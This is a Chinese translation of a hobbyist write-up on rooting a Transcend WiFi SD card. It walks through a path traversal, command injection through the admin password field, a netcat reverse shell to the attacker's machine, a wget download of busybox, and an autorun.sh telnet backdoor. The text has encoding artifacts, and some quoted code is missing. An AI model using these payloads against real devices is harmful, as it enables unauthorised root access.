摘要:它并不會(huì)真正檢查路徑是否由斜杠分隔。事實(shí)上,和文件使用了大量的調(diào)用,但是它們的參數(shù)都是硬編碼的,所以沒有太多的空間可供操縱或利用。
我最近搞了張Transcend?WiFi?SD,頗為得意。它可以讓我在幾秒鐘內(nèi)將單反(奶昔,相當(dāng)便攜)中拍攝的照片傳到任何支持wifi的設(shè)備上。我很喜歡在旅途中拍攝和分享圖片,所以對(duì)我而言,可以無線傳輸圖片的SD卡是一個(gè)很好的解決方案。確實(shí)如此!(以后也是!)。不過移動(dòng)應(yīng)用程序可以應(yīng)該好好改進(jìn)下(下載7MB的圖像僅僅為了渲染?點(diǎn)擊下載后還要重新下載一遍!誰能告訴我這是為什么?),但是,嘿,它能夠完成任務(wù)!
這個(gè)小小的設(shè)備不僅可以存儲(chǔ)16GB數(shù)據(jù)(還有32GB版本),而且還是一個(gè)嵌入式系統(tǒng),能夠運(yùn)行應(yīng)用程序,包括web服務(wù)器,和其他wifi設(shè)備通訊,甚至自建無線網(wǎng)絡(luò)——這個(gè)明顯的事實(shí)讓我和我的小伙伴都驚呆了!好了,不廢話了,進(jìn)入主題:我們能不能用這個(gè)設(shè)備做一些設(shè)計(jì)之外的事情呢?
寫這篇文章的目的不但是為了指出可以用來root、越獄設(shè)備的漏洞,同時(shí)也是為了展現(xiàn)摸索、利用漏洞的方法,其中的一些方法可能走不通,但其他的或許會(huì)導(dǎo)向萬能的根用戶。
準(zhǔn)備Hax我猜這張卡中存在著某種形式的嵌入式Linux系統(tǒng)。如果是這樣,擴(kuò)展它的功能會(huì)很容易,但是,首先我需要取得系統(tǒng)的控制權(quán)。到現(xiàn)在為止我只使用過和它配套的Android和iOS應(yīng)用程序,不過很明顯,最簡單與電腦交互的方式是Web應(yīng)用程序。下面的想法立即浮現(xiàn)在我的腦海中:
如果移動(dòng)應(yīng)用程序很糟糕,那么web應(yīng)用和服務(wù)器肯定也好不到哪里去……也許它充滿了等待被利用的漏洞。
孩子,我是對(duì)的!
一旦你連接到Web服務(wù)器(卡片的IP是192.168.11.254,默認(rèn)登錄admin/admin),你就會(huì)感受到和使用手機(jī)app一樣糟糕的感覺,“用戶體驗(yàn)”很糟,“破解體驗(yàn)”應(yīng)該不錯(cuò)。很多人使用scanners、fuzers之類的強(qiáng)力工具來探索漏洞,然而這個(gè)系統(tǒng)的安全性是如此之差,以至于我隨意摸索一番,就找到了可以利用的漏洞。
“Files”區(qū)域十分顯眼,它允許你瀏覽SD卡的內(nèi)容。不幸的是,它不允許你進(jìn)入SD卡根目錄的父目錄。果真如此?如果可以進(jìn)入父目錄就好了,我們可以了解系統(tǒng)的內(nèi)部情況,獲得關(guān)于它的更多信息。如果我們足夠幸運(yùn),甚至可以通過Web界面運(yùn)行一些指令。你會(huì)注意到指向“父目錄”的鏈接的URL是這樣的(%2F就是URL編碼格式中的斜杠字符“/”):
http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd
好了,讓我們?cè)囍L問/www,http://192.168.11.254/cgi-bin/file _list.pl?dir=%2Fwww
結(jié)果證明此路不通。訪問/、/bin、/etc、或任何其他目錄都失敗了。:( 運(yùn)氣不行。不過,話說回來,如果可行的話,那也太容易了!好吧,其實(shí)也沒那么困難,程序員真是太粗心。導(dǎo)航欄中?dir=/www/sd/../..同/是一樣的效果,成功了!
哈,太尷尬了!貌似程序員只是確保路徑使用/WWW/SD起始,但沒有驗(yàn)證父目錄的“../”。通過這種方式,我們可以瀏覽嵌入式系統(tǒng)中的任何文件。當(dāng)然,點(diǎn)擊文件是不會(huì)執(zhí)行它們的,只是下載而已,然而這已經(jīng)是一個(gè)巨大的成功了!
瀏覽文件系統(tǒng)、下載腳本之后,很明顯系統(tǒng)使用的是busybox,這在我們的意料之中。由于大多數(shù)二進(jìn)制文件的大小是相同的,這暗示它們是指向busybox的軟鏈接。然而,許多不是軟鏈接,包括大多數(shù)在/WWW/cgi-bin目錄下的腳本。這些可能是值得注意的,因?yàn)橹恍柰ㄟ^瀏覽器訪問它們就可以運(yùn)行。
開始Hax看起來很有希望!現(xiàn)在我們可以訪問內(nèi)部系統(tǒng),即使只是只讀模式,仍然給了我們很大的便利,因?yàn)槲覀兡軌蜓芯亢蛯ふ铱梢岳玫穆┒础?)
檢查一些腳本,找到可以被利用漏洞,沒有花掉多少時(shí)間。順便提一下,這些都是Perl腳本。Perl有一個(gè)很好的特性就是使用open()調(diào)用打開一個(gè)文件,因?yàn)槿绻?b>open()的參數(shù)不是真正的文件路徑,而是以管道符結(jié)尾的shell命令的話,例如open("cat/etc/passwd?|"),會(huì)執(zhí)行程序。其他濫用open()的手段包括在不同的位置寫一個(gè)新文件,或者覆蓋現(xiàn)有的文件,所以我們可以編寫自己的代碼并運(yùn)行它。讓我們來看看是否有文件可以被利用。
有一個(gè)文件特別顯眼,因?yàn)樗艘粋€(gè)含有用戶提供的變量的open()調(diào)用。kcard_upload.pl包含以下語句:
事實(shí)上,Web應(yīng)用程序并沒有使用這個(gè)文件。kcard_upload.pl對(duì)用戶是隱藏的,但它仍然存在,在cgi-bin目錄下可以訪問。我們只需用瀏覽器指向它,就可以運(yùn)行。這真是雙倍的尷尬,一個(gè)未被使用的可被利用的腳本!但是它真的可以被利用嗎?
通過閱讀kcard_upload.pl的代碼,我知道這里存在三個(gè)利用變量$basename控制系統(tǒng)的挑戰(zhàn):
首先,$basename不能直接被用戶使用,因?yàn)樗钦{(diào)用GetBasename($upfile)的結(jié)果。用戶(即,攻擊者)直接使用的是$upfile。更準(zhǔn)確地說,它是你選擇上傳文件時(shí)HTML表單的路徑。但是,如果我們提交了路徑,GetBasename將只返回路徑末尾的文件名,其余將被移除。這使遍歷目錄(如之前提到的../../技巧)不可行。
其次,$basename由腳本轉(zhuǎn)化為大寫,所以無論我們傳入什么,都會(huì)被轉(zhuǎn)換為大寫,這限制了可用的策略。
最后的挑戰(zhàn)是kcard_upload.pl的腳本只允許PNG,JPG,BMP,GIF格式的文件上傳。
所以這是一條死胡同嗎?還沒那么快!
如果你更仔細(xì)地查看代碼,你會(huì)意識(shí)到盡管程序員想要限制上傳文件的類型,然而他們只是檢查文件名是否包含這些擴(kuò)展名,而不是是否以這些擴(kuò)展名結(jié)束。
此外,這些正則表達(dá)式并沒有真正檢查是否包含.,因?yàn)樵谡齽t表達(dá)式中.可以代表除了換行符以外的任意字符。.應(yīng)該使用轉(zhuǎn)義。我猜程序員想要的是/.GIF$/,但結(jié)果寫成了/.GIF/,所以我們只需在文件名的任意位置包含三字符組合就可以繞過限制,例如/hi/helPNGlo/asdf.something。太方便了!
由于我們的路徑會(huì)被轉(zhuǎn)化成大寫,也許我們就不能再調(diào)用任何系統(tǒng)命令(因?yàn)榇蟛糠侄疾皇谴髮懀贿^也許我們?nèi)匀豢梢陨蟼餍碌奈募苍S是把我們自己的腳本植入系統(tǒng)。我們并不十分關(guān)心這些腳本的文件名是大寫還是小寫。
最后,如果你還記得,我們的路徑在保存到變量$basename之前,己經(jīng)被GetBasename()轉(zhuǎn)化了。GetBasename()的功能是切分路徑,獲取最后的文件名。所以/path/to/file.txt會(huì)變成簡單的file.txt。這很糟,因?yàn)檫@意味著我們?cè)僖膊荒懿倏v路徑,不能使用類似“../../bin/our-malicious.script”的技巧,因?yàn)樗罱K會(huì)變?yōu)椤皁ur-malicious.script”,然后保存在DCIM/198_WIFI/。:_(
除非,GetBasename()包含一個(gè)可以被利用的漏洞。:_)
基本上,這些代碼考慮了兩種情況:用戶提供的路徑是由windows風(fēng)格的反斜杠分隔,以及路徑由斜杠分隔(除去windows之外的任何OS)。或者說,這是這些代碼試圖做到的!這些代碼真正做的是,檢查路徑是否包含一個(gè)反斜杠,如果包含,那么就判定這是一個(gè)windows路徑(因?yàn)閣indows路徑使用反斜杠作分隔符),然后按照反斜杠分割路徑。它并不會(huì)真正檢查路徑是否由斜杠分隔。因此,考慮以下路徑:
/this/part/gets/discarded/this/path/is/used
由于這個(gè)路徑包含一個(gè)反斜杠(這是一個(gè)合法的字符),代碼會(huì)它認(rèn)定它是一個(gè)windows路徑,因此我們最終獲得了一個(gè)不是真正的基本名的basename,它實(shí)際上是一個(gè)路徑。在我們的例子中,路徑將是:/this/path/is/used.
你看!類似/PNG/something/../../our-malicious.script的路徑將繞過所有安全措施,之后寫入我們選定的位置 B-) 這是個(gè)好消息。壞消息是這些不能真正生效。啊!這是因?yàn)槟_本錯(cuò)誤地假設(shè)../DCIM/198_WIFI存在,但由于腳本從/WWW/cgi-bin運(yùn)行,所以這個(gè)假設(shè)不成立(正確的路徑應(yīng)該是../sd/DCIM/198_WIFI)。令人傷心的是我們對(duì)此無能為力。這個(gè)bug是硬編碼到腳本的。開發(fā)人員應(yīng)該沒怎么注意這一點(diǎn),因?yàn)檫@個(gè)腳本并不打算提供給用戶使用。(記得嗎?它是隱藏的。)據(jù)我所知,盡管我們做了花了不少功夫,這是一條死胡同。:-( 不過也許有人可以拿出一個(gè)創(chuàng)新的方案。
(此外,kcard_upload.pl輸出的表單并不調(diào)用自身,而是調(diào)用一個(gè)名為wifi_upload二進(jìn)制文件,因此我們需要自己實(shí)現(xiàn)HTTP?POST調(diào)用。)
Hax繼續(xù)不過,注意看!我們已經(jīng)發(fā)現(xiàn)了代碼質(zhì)量如此糟糕,因此肯定還存在很多其他的漏洞(如果你想更有想象力一點(diǎn),我很肯定kcard_upload.pl調(diào)用的/www/cgi-bin/wifi_upload工具,可以通過棧溢出和堆溢出破解,因?yàn)榇a中有很多混亂的strcpy調(diào)用)。事實(shí)上,我沒有過多地檢查這些方面。還有一些我沒在這篇里詳述的其他死胡同。我下面將詳述一個(gè)明顯的漏洞,非常容易利用:
從perl腳本直接調(diào)用shell命令有很多不同的方法,如果程序員粗心大意地使用不妥的方式調(diào)用shell命令,那么也許我們可以運(yùn)行自己的shell命令!使用perl腳本運(yùn)行shell代碼的一個(gè)方法是使用system()調(diào)用。事實(shí)上,.pl和.cgi文件使用了大量的system()調(diào)用,但是它們的參數(shù)都是硬編碼的,所以沒有太多的空間可供操縱或利用。另外一種使用perl調(diào)用shell代碼的方法是使用qx{}表達(dá)式,但是代碼中沒有使用過這種方式。然而,第三種方式是使用反引號(hào)包圍shell代碼,相當(dāng)于使用qX{}。事實(shí)上很多地方都使用了這種方式,而且shell代碼中也使用了用戶提供的輸入!這意味著他們的shell代碼混合了我們的輸入,所以可能被用來運(yùn)行我們自己的代碼。
在kcard_save_config_insup.pl有一行給人的感覺就像圣誕節(jié):
該語句運(yùn)行$update_auth指定的命令,將$LOGIN_USR和$LOGIN_PWD作為參數(shù)。這兩個(gè)參數(shù)直接來自一個(gè)表單,這意味著我們可以控制它們的值。沒有針對(duì)它們內(nèi)容的檢查!更精確地說,這是當(dāng)你進(jìn)入Web界面,點(diǎn)擊“settings”時(shí)顯示的一個(gè)表單。你可以通過http://192.168.11.254/kcardX120Xedit_config_insup.pl直接訪問這個(gè)表單。表單詢問的是管理員的用戶名和密碼。這意味著通過選擇一個(gè)恰當(dāng)構(gòu)造的密碼,我們可以執(zhí)行代碼!首先,密碼必須包含一個(gè)分號(hào),以便在$update_path命令執(zhí)行后可以開始執(zhí)行一個(gè)新shell命令。然后它就可以包含任何我們想要的shell代碼。最后,密碼必須以#符號(hào)(表明后面的內(nèi)容是注釋)結(jié)束,這樣后面的內(nèi)容將被忽略(>?/mnt/mtd/config/ia.passwd部分)。
這很容易測(cè)試,例如:admin;?echo?haxx?>?/tmp/hi.txt?#。
然而表單進(jìn)行了合理性測(cè)試,它不會(huì)允許長密碼和奇怪的字符。由于這些檢查是通過JavaScript來完成的,而不是在服務(wù)器端完成的,繞過它們太容易了。我使用Form?Editor?Chrome擴(kuò)展來擺脫這些問題。
提交表單后,我們可以很容易地檢查漏洞是否有效,只需利用本文前面提到的漏洞訪問/tmp。我們甚至可以下載文件然后檢查其內(nèi)容是否正確。?
記得將你的密碼恢復(fù)為“admin”,否則利用完此漏洞后你需要通過出廠設(shè)置重設(shè)你的SD卡(當(dāng)然重設(shè)不會(huì)影響到你的圖片)。
獲取root目前為止,我們不僅能夠讀取嵌入式系統(tǒng)的文件系統(tǒng)中的任何文件,而且也可以執(zhí)行shell代碼,并寫入文件。不過,我們?nèi)匀蝗鄙俸线m的shell訪問方式。
查看/usr/bin目錄中的內(nèi)容,我們可以發(fā)現(xiàn),這里有很多可以讓我們制造反向shell的好東西:netcat(nc 二進(jìn)制)、telnet,等等。反向shell是這樣工作的,通過我們PC的一個(gè)特定端口監(jiān)聽傳入的連接,把目標(biāo)系統(tǒng)連接到它,運(yùn)行一個(gè)shell,通過該連接獲取輸入,同時(shí)通過該連接打印所有輸出。建立反向shell的方法你用上所有的手指、腳趾也數(shù)不過來,不過最簡單的方法是調(diào)用netcat:
nc?192.168.11.11?1337?-e?/bin/bash
這會(huì)讓netcat來連接我們的電腦(被分配的IP為192.168.11.11)的1337端口,然后將輸入傳給bash。當(dāng)然,你必須使用先前所描述的漏洞來運(yùn)行這個(gè)命令,將你的密碼改為admin?NC?192.168.11.111337?-e?/bin/bash?#。不幸的是這根本不起作用。使用telnet或其他工具的技巧也無效。為什么無效呢?nc、telnet和其他工具的軟鏈接在/usr/bin目錄下,指令的語法是正確的!事實(shí)上,我們親愛的SD卡內(nèi)的嵌入式Linux禁用了這些busybox的功能!(我們可以嘗試調(diào)用telnet或netcat,將stdout和stderr重定向到/tmp/hi.txt來驗(yàn)證一點(diǎn),使用以下命令nc 192.168.11.111337?-e?/bin/bash?&>?/tmp/hi.txt。下載hi.txt以后,它的內(nèi)容會(huì)是類似如下的內(nèi)容:nc: applet not found。這意味著nc被禁用了。真惡心!我們只能通過那個(gè)糟糕的表單運(yùn)行命令,同時(shí)不能使用網(wǎng)絡(luò)工具嗎?當(dāng)然不是!
碰巧的是,transcend腳本使用到了wget,因此wget是啟用的。它允許我們下載另一個(gè)完整的BusyBox二進(jìn)制文件 :))) 我懶得自己編譯,所以我從http://busybox.net/downloads/binaries/latest/獲取了一個(gè)預(yù)編譯的busybox二進(jìn)制文件。我把busybox-armv5l二進(jìn)制文件放在我電腦上的本地web服務(wù)器上(我的SD卡沒有互聯(lián)網(wǎng)配置),所以我只是運(yùn)行了wget?http://192.168.11.11/busybox-armv5l,使用表單漏洞將它下載到SD卡的/www/cgi-bin目錄。我也運(yùn)行了chmod?a+x?/www/cgi-bin/busybox-armv5l確保它隨后可以運(yùn)行。
最后,我得到了我的遠(yuǎn)程shell!運(yùn)行nc -vv -l 1337我的電腦會(huì)監(jiān)聽1337端口,運(yùn)行/www/cgi-bin/busybox-armv5l?nc?192.168.11.11?1337?-e?/bin/bash,SD卡在該端口上啟用shell。由于下載的busybox二進(jìn)制文件啟用了所有工具,我們可以通過遠(yuǎn)程shell運(yùn)行/www/cgi-bin/busybox-armv5l?<命令>獲得更豐富的shell命令!例如,/www/cgi-bin/busybox-armv5l?id告訴我們,我們已經(jīng)已經(jīng)以root身份在運(yùn)行shell。
uid=0 gid=0更多Hax
假如你忘記您的密碼,需要重設(shè),你可以使用SD卡的恢復(fù)出廠設(shè)置功能(SD卡中有一個(gè)特殊的圖片文件,一旦刪除,重新啟動(dòng)后就會(huì)復(fù)位SD卡)。不過,你可以恢復(fù)你的明文密碼,源于一個(gè)非常非常非常粗心的錯(cuò)誤。這有一個(gè)“隱藏”的perl腳本,kcard_login.pl,負(fù)責(zé)最狂野的登錄過程。它從wsd.conf文件獲取密碼,然后提供瀏覽器驗(yàn)證密碼的javascrip代碼。是的,你沒看錯(cuò)。使用javascript進(jìn)行驗(yàn)證!
這意味著你只需將瀏覽器指向http://192.168.11.254/cgi-bin/kcardX156Xlogin.pl,然后查看頁面的源代碼就可以以明文方式恢復(fù)你的密碼。密碼就在那兒。
(更新)感謝破解友好的后門啟動(dòng)時(shí)自動(dòng)運(yùn)行的腳本中,rcS會(huì)執(zhí)行SD卡根目錄下的autorun.sh。這將簡化開發(fā)和破解,創(chuàng)見啊創(chuàng)見!。?
在我的SD卡的根目錄下,我有以下腳本(命名為autorun.sh),此外還放了busybox-armv5l,這樣我就可以簡單地telnet到系統(tǒng):
cp?/mnt/sd/busybox-armv5l?/sbin/busybox chmod?a+x?/sbin/busybox /sbin/busybox?telnetd?-l?/bin/bash?&
于是,該卡通電后你就可以登錄,完成啟動(dòng):?
盡享hacking之樂!:)
原文 Hacking Transcend WiFi SD Cards
翻譯 SegmentFault
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://specialneedsforspecialkids.com/yun/11131.html
閱讀 3109·2023-04-25 15:44
閱讀 1881·2019-08-30 13:11
閱讀 2841·2019-08-30 11:11
閱讀 3011·2019-08-29 17:21
閱讀 1312·2019-08-29 15:38
閱讀 903·2019-08-29 12:49
閱讀 1801·2019-08-28 18:19
閱讀 3229·2019-08-26 14:01